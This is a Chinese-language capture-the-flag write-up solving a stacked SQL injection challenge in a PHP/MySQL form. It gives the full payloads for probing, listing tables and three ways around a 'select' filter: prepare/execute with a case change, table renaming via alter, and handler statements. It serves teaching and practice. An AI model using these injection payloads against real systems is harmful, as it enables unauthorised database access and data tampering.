題目
分析
把 1 提交上去,得到回顯如下:
輸入框可輸入的內容不止數字,嘗試用 '
"
')
")
閉合,探測發現輸入 1' and 1=1;#
和 1' and 1=2;#
的回顯不同,判斷為單引號閉合。
1' and 1=1;#
:
1' and 1=2;#
:
嘗試檢視當前所有資料庫 1';show databases;#
:
成功了,接著看看當前所有表 1';show tables;#
:
分別檢視兩個表的內容。
1';show columns from `1919810931114514`;#
:
1';show columns from words;#
:
在一串數字的表中出現可疑欄位 flag
,同時 words 表中的內容包含 id 部分和 data 部分,大機率就是正常提交資料查詢到的結果。嘗試檢視欄位值 1';select * from `1919810931114514`;#
發現存在過濾:
嘗試一些常用繞過方法均失敗。從[BUUOJ記錄] [強網杯 2019]隨便注(三種方法)-Ye'sBlog-部落格園大佬的部落格學到三種繞過 select
的方法。
1、儲存過程繞過(利用 prepare 語句),即預編譯繞過
2、重新命名繞過(利用 alter 語句與 rename 語句)
3、handler 語句代替 select 查詢
1、預編譯繞過
傳入 1';set @a=concat('se','lect * from `1919810931114514`;');prepare flag from @a;execute flag;#
,其中:
1';
// 用來閉合前面的單引號
set @a=concat('se','lect * from `1919810931114514`;');
// concat函式將多個字串組合成一個字串,得到select * from `1919810931114514`;
// @a定義了一個使用者變數a
// set函式讓a接收concat拼接的結果select * from `1919810931114514`;
prepare flag from @a;
// 將a的字串作為程式碼進行預編譯
execute flag;
// 執行之前預編譯的程式碼
#
// 將原始碼之後的部分註釋掉
得到回顯:
這裡出現的 strstr
函式在 PHP 中是個查詢子字串的函式,猜測這裡是在傳入的字串中找到 set
和 prepare
倆串給咱返回了,即被過濾了。因為 strstr()
是區分大小寫的所以咱可以透過改變字母大小寫的方法繞過:
傳入 1';SET @a=concat('se','lect * from
1919810931114514;');PREPARE flag from @a;execute flag;#
得到 flag。
雖然但是測試了一下發現只需要更改兩串其一即可成功繞過。
2、重新命名繞過
傳入 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
,其中
1';
// 用來閉合前面的單引號
alter table words rename to words1;
// alter 命令用於更改資料庫結構,rename將表words的名字更改為words1
alter table `1919810931114514` rename to words;
// 將表1919810931114514的名字更改為words
alter table words change flag id varchar(100);
// 將表words中的欄位名flag更改為id,資料型別為varchar(100)。varchar是可變長度字串,資料100來自於之前查詢到 flag 的長度
#
// 將原始碼之後的部分註釋掉
回顯:
此時輸入框傳入的引數由在 words 表中查詢 id 值更改為在 1919810931114514 表中查詢 flag 值。顯然我們不可能傳入 flag 進行查詢,因此傳入永真式 1' or 1=1#
,得到回顯:
3、handler 語句代替 select 查詢
handler 是 MySQL 專用的語句,可代替 select 語句實現部分功能,具體可參考【MySQL】MySQL 之 handler 的詳細使用及說明-邊扯邊淡-CSDN。
傳入 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#
,其中:
1';
// 用來閉合前面的單引號
handler `1919810931114514` open as ye;
// 開啟表1919810931114514的控制代碼並命名為ye
handler ye read first;
// 索引ye第一行資料
handler ye close;
//關閉控制代碼ye
得到 flag。
參考
史上超強最常用SQL語句大全-小小張自由—>張有博-CSDN
[BUUOJ記錄] [強網杯 2019]隨便注(三種方法)-Ye'sBlog-部落格園
PHP strstr() 函式
Mysql中符號@的作用-LC超人在良家-CSDN
Mysql修改、新增、刪除欄位-五公子說-部落格園
【MySQL】MySQL 之 handler 的詳細使用及說明-邊扯邊淡-CSDN